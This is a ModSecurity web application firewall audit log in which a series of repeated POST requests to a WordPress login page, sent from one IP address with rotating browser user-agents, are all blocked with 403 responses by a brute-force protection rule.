Upgrade-Insecure-Requests: 1
Referer: https://happy-digital.ro/wp-login.php
Content-Type: application/x-www-form-urlencoded
--7585253b-F--
HTTP/1.1 403 Forbidden
Content-Length: 199
Content-Type: text/html; charset=iso-8859-1
--7585253b-H--
Message: Access denied with code 403 (phase 2). [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "42"] [id "33302"] [msg "IM360 WAF: WordPress Bruteforce RBL block||T:APACHE||MV:1"] [severity "CRITICAL"] [tag "wp_core"]
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Action: Intercepted (phase 2)
Apache-Handler: proxy:unix:/var/www/vhosts/system/happy-digital.ro/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789313972091235 2027 (- - -)
Stopwatch2: 1789313972091235 2027; combined=640, p1=350, p2=65, p3=0, p4=0, p5=225, sr=92, sw=0, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--7585253b-Z--
--5bf3a555-A--
[13/Sep/2026:18:39:32.475402 +0300] aqbDtPut1GUrjaX0wO448AAAAMc 134.185.87.66 47210 127.0.0.1 7081
--5bf3a555-B--
POST /wp-login.php HTTP/1.1
Host: happy-digital.ro
X-Real-IP: 134.185.87.66
X-Accel-Internal: /internal-nginx-static-location
Content-Length: 95
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.212 Safari/537.36
Accept-Encoding: gzip, deflate
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Upgrade-Insecure-Requests: 1
Referer: https://happy-digital.ro/wp-login.php
Content-Type: application/x-www-form-urlencoded
--5bf3a555-F--
HTTP/1.1 403 Forbidden
Content-Length: 199
Content-Type: text/html; charset=iso-8859-1
--5bf3a555-H--
Message: Access denied with code 403 (phase 2). [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "42"] [id "33302"] [msg "IM360 WAF: WordPress Bruteforce RBL block||T:APACHE||MV:1"] [severity "CRITICAL"] [tag "wp_core"]
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Action: Intercepted (phase 2)
Apache-Handler: proxy:unix:/var/www/vhosts/system/happy-digital.ro/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789313972473717 1739 (- - -)
Stopwatch2: 1789313972473717 1739; combined=537, p1=241, p2=72, p3=0, p4=0, p5=224, sr=90, sw=0, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--5bf3a555-Z--
--ac242841-A--
[13/Sep/2026:18:39:32.853702 +0300] aqbDtPut1GUrjaX0wO448QAAAMM 134.185.87.66 47228 127.0.0.1 7081
--ac242841-B--
POST /wp-login.php HTTP/1.1
Host: happy-digital.ro
X-Real-IP: 134.185.87.66
X-Accel-Internal: /internal-nginx-static-location
Content-Length: 92
User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.212 Safari/537.36
Accept-Encoding: gzip, deflate
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Upgrade-Insecure-Requests: 1
Referer: https://happy-digital.ro/wp-login.php
Content-Type: application/x-www-form-urlencoded
--ac242841-F--
HTTP/1.1 403 Forbidden
Content-Length: 199
Content-Type: text/html; charset=iso-8859-1
--ac242841-H--
Message: Access denied with code 403 (phase 2). [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "42"] [id "33302"] [msg "IM360 WAF: WordPress Bruteforce RBL block||T:APACHE||MV:1"] [severity "CRITICAL"] [tag "wp_core"]
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Action: Intercepted (phase 2)
Apache-Handler: proxy:unix:/var/www/vhosts/system/happy-digital.ro/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789313972852018 1749 (- - -)
Stopwatch2: 1789313972852018 1749; combined=591, p1=278, p2=70, p3=0, p4=0, p5=243, sr=78, sw=0, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--ac242841-Z--
--aab1d410-A--
[13/Sep/2026:18:39:33.235674 +0300] aqbDtfut1GUrjaX0wO448wAAANc 134.185.87.66 47258 127.0.0.1 7081
--aab1d410-B--
POST /wp-login.php HTTP/1.1
Host: happy-digital.ro
X-Real-IP: 134.185.87.66
X-Accel-Internal: /internal-nginx-static-location
Content-Length: 97
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/14.1.1 Safari/605.1.15
Accept-Encoding: gzip, deflate
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Upgrade-Insecure-Requests: 1
Referer: https://happy-digital.ro/wp-login.php
Content-Type: application/x-www-form-urlencoded
--aab1d410-F--
HTTP/1.1 403 Forbidden
Content-Length: 199
Content-Type: text/html; charset=iso-8859-1
--aab1d410-H--
Message: Access denied with code 403 (phase 2). [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "42"] [id "33302"] [msg "IM360 WAF: WordPress Bruteforce RBL block||T:APACHE||MV:1"] [severity "CRITICAL"] [tag "wp_core"]
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Action: Intercepted (phase 2)
Apache-Handler: proxy:unix:/var/www/vhosts/system/happy-digital.ro/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789313973234101 1627 (- - -)
Stopwatch2: 1789313973234101 1627; combined=551, p1=220, p2=70, p3=0, p4=0, p5=261, sr=88, sw=0, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--aab1d410-Z--
--82d7514b-A--
[13/Sep/2026:18:39:33.619756 +0300] aqbDtUhjHs68UzErry1K0wAAAJY 134.185.87.66 47280 127.0.0.1 7081
--82d7514b-B--
POST /wp-login.php HTTP/1.1
Host: happy-digital.ro
X-Real-IP: 134.185.87.66
X-Accel-Internal: /internal-nginx-static-location
Content-Length: 95
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/15.0 Safari/605.1.15
Accept-Encoding: gzip, deflate
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Upgrade-Insecure-Requests: 1
Referer: https://happy-digital.ro/wp-login.php
Content-Type: application/x-www-form-urlencoded
--82d7514b-F--
HTTP/1.1 403 Forbidden
Content-Length: 199
Content-Type: text/html; charset=iso-8859-1
--82d7514b-H--
Message: Access denied with code 403 (phase 2). [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "42"] [id "33302"] [msg "IM360 WAF: WordPress Bruteforce RBL block||T:APACHE||MV:1"] [severity "CRITICAL"] [tag "wp_core"]
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Action: Intercepted (phase 2)
Apache-Handler: proxy:unix:/var/www/vhosts/system/happy-digital.ro/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789313973618044 1789 (- - -)
Stopwatch2: 1789313973618044 1789; combined=595, p1=212, p2=79, p3=0, p4=0, p5=303, sr=79, sw=1, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--82d7514b-Z--
--3c03d419-A--
[13/Sep/2026:18:39:34.000041 +0300] aqbDtfut1GUrjaX0wO449QAAANU 134.185.87.66 47298 127.0.0.1 7081
--3c03d419-B--
POST /wp-login.php HTTP/1.1
Host: happy-digital.ro
X-Real-IP: 134.185.87.66
X-Accel-Internal: /internal-nginx-static-location
Content-Length: 89
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7; rv:91.0) Gecko/20100101 Firefox/91.0
Accept-Encoding: gzip, deflate
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Upgrade-Insecure-Requests: 1
Referer: https://happy-digital.ro/wp-login.php
Content-Type: application/x-www-form-urlencoded
--3c03d419-F--
HTTP/1.1 403 Forbidden
Content-Length: 199
Content-Type: text/html; charset=iso-8859-1
--3c03d419-H--
Message: Access denied with code 403 (phase 2). [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "42"] [id "33302"] [msg "IM360 WAF: WordPress Bruteforce RBL block||T:APACHE||MV:1"] [severity "CRITICAL"] [tag "wp_core"]
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Action: Intercepted (phase 2)
Apache-Handler: proxy:unix:/var/www/vhosts/system/happy-digital.ro/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789313973998429 1667 (- - -)
Stopwatch2: 1789313973998429 1667; combined=612, p1=276, p2=91, p3=0, p4=0, p5=245, sr=78, sw=0, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--3c03d419-Z--
--0aa80529-A--
[13/Sep/2026:18:39:34.403359 +0300] aqbDtvut1GUrjaX0wO449wAAANM 134.185.87.66 47314 127.0.0.1 7081
--0aa80529-B--
POST /wp-login.php HTTP/1.1
Host: happy-digital.ro
X-Real-IP: 134.185.87.66
X-Accel-Internal: /internal-nginx-static-location
Content-Length: 97
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/14.1.2 Safari/605.1.15
Accept-Encoding: gzip, deflate
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Upgrade-Insecure-Requests: 1
Referer: https://happy-digital.ro/wp-login.php
Content-Type: application/x-www-form-urlencoded
--0aa80529-F--
HTTP/1.1 403 Forbidden
Content-Length: 199
Content-Type: text/html; charset=iso-8859-1
--0aa80529-H--
Message: Access denied with code 403 (phase 2). [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "42"] [id "33302"] [msg "IM360 WAF: WordPress Bruteforce RBL block||T:APACHE||MV:1"] [severity "CRITICAL"] [tag "wp_core"]
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Action: Intercepted (phase 2)
Apache-Handler: proxy:unix:/var/www/vhosts/system/happy-digital.ro/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789313974387565 15879 (- - -)
Stopwatch2: 1789313974387565 15879; combined=10034, p1=398, p2=302, p3=0, p4=0, p5=9334, sr=155, sw=0, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--0aa80529-Z--
--fe0a8c7c-A--
[13/Sep/2026:18:39:34.774902 +0300] aqbDtvut1GUrjaX0wO44@gAAAMY 134.185.87.66 47342 127.0.0.1 7081
--fe0a8c7c-B--
POST /wp-login.php HTTP/1.1
Host: happy-digital.ro
X-Real-IP: 134.185.87.66
X-Accel-Internal: /internal-nginx-static-location
Content-Length: 92
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/94.0.4606.71 Safari/537.36
Accept-Encoding: gzip, deflate
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Upgrade-Insecure-Requests: 1
Referer: https://happy-digital.ro/wp-login.php
Content-Type: application/x-www-form-urlencoded
--fe0a8c7c-F--
HTTP/1.1 403 Forbidden
Content-Length: 199
Content-Type: text/html; charset=iso-8859-1
--fe0a8c7c-H--
Message: Access denied with code 403 (phase 2). [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "42"] [id "33302"] [msg "IM360 WAF: WordPress Bruteforce RBL block||T:APACHE||MV:1"] [severity "CRITICAL"] [tag "wp_core"]
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Action: Intercepted (phase 2)
Apache-Handler: proxy:unix:/var/www/vhosts/system/happy-digital.ro/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789313974773118 1852 (- - -)
Stopwatch2: 1789313974773118 1852; combined=579, p1=223, p2=79, p3=0, p4=0, p5=277, sr=88, sw=0, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--fe0a8c7c-Z--
--5caaea05-A--
[13/Sep/2026:18:39:35.157997 +0300] aqbDtxsbgHO3aGL3jiTwuwAAAAM 134.185.87.66 47368 127.0.0.1 7081
--5caaea05-B--
POST /wp-login.php HTTP/1.1
Host: happy-digital.ro
X-Real-IP: 134.185.87.66
X-Accel-Internal: /internal-nginx-static-location
Content-Length: 101
User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.212 Safari/537.36
Accept-Encoding: gzip, deflate
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Upgrade-Insecure-Requests: 1
Referer: https://happy-digital.ro/wp-login.php
Content-Type: application/x-www-form-urlencoded
--5caaea05-F--
HTTP/1.1 403 Forbidden
Content-Length: 199
Content-Type: text/html; charset=iso-8859-1
--5caaea05-H--
Message: Access denied with code 403 (phase 2). [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "42"] [id "33302"] [msg "IM360 WAF: WordPress Bruteforce RBL block||T:APACHE||MV:1"] [severity "CRITICAL"] [tag "wp_core"]
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Action: Intercepted (phase 2)
Apache-Handler: proxy:unix:/var/www/vhosts/system/happy-digital.ro/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789313975156173 1878 (- - -)
Stopwatch2: 1789313975156173 1878; combined=608, p1=245, p2=78, p3=0, p4=0, p5=285, sr=100, sw=0, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--5caaea05-Z--
--f4a2ad3b-A--
[13/Sep/2026:18:39:35.537460 +0300] aqbDt1dqBhgxDSpG7haLFgAAAFE 134.185.87.66 35366 127.0.0.1 7081
--f4a2ad3b-B--
POST /wp-login.php HTTP/1.1
Host: happy-digital.ro
X-Real-IP: 134.185.87.66
X-Accel-Internal: /internal-nginx-static-location
Content-Length: 91
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/14.1.2 Safari/605.1.15
Accept-Encoding: gzip, deflate
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Upgrade-Insecure-Requests: 1
Referer: https://happy-digital.ro/wp-login.php
Content-Type: application/x-www-form-urlencoded
--f4a2ad3b-F--
HTTP/1.1 403 Forbidden
Content-Length: 199
Content-Type: text/html; charset=iso-8859-1
--f4a2ad3b-H--
Message: Access denied with code 403 (phase 2). [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "42"] [id "33302"] [msg "IM360 WAF: WordPress Bruteforce RBL block||T:APACHE||MV:1"] [severity "CRITICAL"] [tag "wp_core"]
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Action: Intercepted (phase 2)
Apache-Handler: proxy:unix:/var/www/vhosts/system/happy-digital.ro/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789313975535219 2335 (- - -)
Stopwatch2: 1789313975535219 2335; combined=776, p1=315, p2=102, p3=0, p4=0, p5=358, sr=120, sw=1, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--f4a2ad3b-Z--
--4745c668-A--
[13/Sep/2026:18:39:35.921670 +0300] aqbDt-ut1GUrjaX0wO44-AAAAM4 134.185.87.66 35376 127.0.0.1 7081
--4745c668-B--
POST /wp-login.php HTTP/1.1
Host: happy-digital.ro
X-Real-IP: 134.185.87.66
X-Accel-Internal: /internal-nginx-static-location
Content-Length: 95
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/15.0 Safari/605.1.15
Accept-Encoding: gzip, deflate
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Upgrade-Insecure-Requests: 1
Referer: https://happy-digital.ro/wp-login.php
Content-Type: application/x-www-form-urlencoded
--4745c668-F--
HTTP/1.1 403 Forbidden
Content-Length: 199
Content-Type: text/html; charset=iso-8859-1
--4745c668-H--
Message: Access denied with code 403 (phase 2). [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "42"] [id "33302"] [msg "IM360 WAF: WordPress Bruteforce RBL block||T:APACHE||MV:1"] [severity "CRITICAL"] [tag "wp_core"]
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Action: Intercepted (phase 2)
Apache-Handler: proxy:unix:/var/www/vhosts/system/happy-digital.ro/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789313975919904 1835 (- - -)
Stopwatch2: 1789313975919904 1835; combined=668, p1=280, p2=81, p3=0, p4=0, p5=307, sr=93, sw=0, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--4745c668-Z--
--500a6953-A--
[13/Sep/2026:18:39:36.303719 +0300] aqbDuPut1GUrjaX0wO44-gAAAMA 134.185.87.66 35382 127.0.0.1 7081
--500a6953-B--
POST /wp-login.php HTTP/1.1
Host: happy-digital.ro
X-Real-IP: 134.185.87.66
X-Accel-Internal: /internal-nginx-static-location
Content-Length: 91
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/15.0 Safari/605.1.15
Accept-Encoding: gzip, deflate
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Upgrade-Insecure-Requests: 1
Referer: https://happy-digital.ro/wp-login.php
Content-Type: application/x-www-form-urlencoded
--500a6953-F--
HTTP/1.1 403 Forbidden
Content-Length: 199
Content-Type: text/html; charset=iso-8859-1
--500a6953-H--
Message: Access denied with code 403 (phase 2). [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "42"] [id "33302"] [msg "IM360 WAF: WordPress Bruteforce RBL block||T:APACHE||MV:1"] [severity "CRITICAL"] [tag "wp_core"]
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Action: Intercepted (phase 2)
Apache-Handler: proxy:unix:/var/www/vhosts/system/happy-digital.ro/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789313976301442 2378 (- - -)
Stopwatch2: 1789313976301442 2378; combined=891, p1=353, p2=124, p3=0, p4=0, p5=413, sr=163, sw=1, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--500a6953-Z--
--aa60bd76-A--
[13/Sep/2026:18:39:36.686761 +0300] aqbDuFdqBhgxDSpG7haLFwAAAEM 134.185.87.66 35394 127.0.0.1 7081
--aa60bd76-B--
POST /wp-login.php HTTP/1.1
Host: happy-digital.ro
X-Real-IP: 134.185.87.66
X-Accel-Internal: /internal-nginx-static-location
Content-Length: 95
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/94.0.4606.71 Safari/537.36
Accept-Encoding: gzip, deflate
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Upgrade-Insecure-Requests: 1
Referer: https://happy-digital.ro/wp-login.php
Content-Type: application/x-www-form-urlencoded
--aa60bd76-F--
HTTP/1.1 403 Forbidden
Content-Length: 199
Content-Type: text/html; charset=iso-8859-1
--aa60bd76-H--
Message: Access denied with code 403 (phase 2). [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "42"] [id "33302"] [msg "IM360 WAF: WordPress Bruteforce RBL block||T:APACHE||MV:1"] [severity "CRITICAL"] [tag "wp_core"]
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Action: Intercepted (phase 2)
Apache-Handler: proxy:unix:/var/www/vhosts/system/happy-digital.ro/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789313976684985 1844 (- - -)
Stopwatch2: 1789313976684985 1844; combined=664, p1=281, p2=84, p3=0, p4=0, p5=299, sr=143, sw=0, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--aa60bd76-Z--
--1a081e18-A--
[13/Sep/2026:18:39:37.084466 +0300] aqbDuVdqBhgxDSpG7haLGAAAAEI 134.185.87.66 35408 127.0.0.1 7081
--1a081e18-B--
POST /wp-login.php HTTP/1.1
Host: happy-digital.ro
X-Real-IP: 134.185.87.66
X-Accel-Internal: /internal-nginx-static-location
Content-Length: 95
User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.212 Safari/537.36
Accept-Encoding: gzip, deflate
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Upgrade-Insecure-Requests: 1
Referer: https://happy-digital.ro/wp-login.php
Content-Type: application/x-www-form-urlencoded
--1a081e18-F--
HTTP/1.1 403 Forbidden
Content-Length: 199
Content-Type: text/html; charset=iso-8859-1
--1a081e18-H--
Message: Access denied with code 403 (phase 2). [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "42"] [id "33302"] [msg "IM360 WAF: WordPress Bruteforce RBL block||T:APACHE||MV:1"] [severity "CRITICAL"] [tag "wp_core"]
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Action: Intercepted (phase 2)
Apache-Handler: proxy:unix:/var/www/vhosts/system/happy-digital.ro/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789313977082173 2356 (- - -)
Stopwatch2: 1789313977082173 2356; combined=575, p1=216, p2=64, p3=0, p4=0, p5=295, sr=81, sw=0, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--1a081e18-Z--
--2b29c610-A--
[13/Sep/2026:18:39:37.475777 +0300] aqbDufut1GUrjaX0wO45AQAAAMs 134.185.87.66 35436 127.0.0.1 7081
--2b29c610-B--
POST /wp-login.php HTTP/1.1
Host: happy-digital.ro
X-Real-IP: 134.185.87.66
X-Accel-Internal: /internal-nginx-static-location
Content-Length: 97
User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.131 Safari/537.36
Accept-Encoding: gzip, deflate
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Upgrade-Insecure-Requests: 1
Referer: https://happy-digital.ro/wp-login.php
Content-Type: application/x-www-form-urlencoded
--2b29c610-F--
HTTP/1.1 403 Forbidden
Content-Length: 199
Content-Type: text/html; charset=iso-8859-1
--2b29c610-H--
Message: Access denied with code 403 (phase 2). [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "42"] [id "33302"] [msg "IM360 WAF: WordPress Bruteforce RBL block||T:APACHE||MV:1"] [severity "CRITICAL"] [tag "wp_core"]
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Action: Intercepted (phase 2)
Apache-Handler: proxy:unix:/var/www/vhosts/system/happy-digital.ro/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789313977471380 4474 (- - -)
Stopwatch2: 1789313977471380 4474; combined=883, p1=376, p2=170, p3=0, p4=0, p5=337, sr=194, sw=0, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--2b29c610-Z--
--28453b70-A--
[13/Sep/2026:18:39:37.866763 +0300] aqbDuUhjHs68UzErry1K1gAAAI8 134.185.87.66 35456 127.0.0.1 7081
--28453b70-B--
POST /wp-login.php HTTP/1.1
Host: happy-digital.ro
X-Real-IP: 134.185.87.66
X-Accel-Internal: /internal-nginx-static-location
Content-Length: 95
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/93.0.4577.63 Safari/537.36
Accept-Encoding: gzip, deflate
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Upgrade-Insecure-Requests: 1
Referer: https://happy-digital.ro/wp-login.php
Content-Type: application/x-www-form-urlencoded
--28453b70-F--
HTTP/1.1 403 Forbidden
Content-Length: 199
Content-Type: text/html; charset=iso-8859-1
--28453b70-H--
Message: Access denied with code 403 (phase 2). [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "42"] [id "33302"] [msg "IM360 WAF: WordPress Bruteforce RBL block||T:APACHE||MV:1"] [severity "CRITICAL"] [tag "wp_core"]
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Action: Intercepted (phase 2)
Apache-Handler: proxy:unix:/var/www/vhosts/system/happy-digital.ro/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789313977865024 1804 (- - -)
Stopwatch2: 1789313977865024 1804; combined=609, p1=262, p2=66, p3=0, p4=0, p5=281, sr=95, sw=0, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
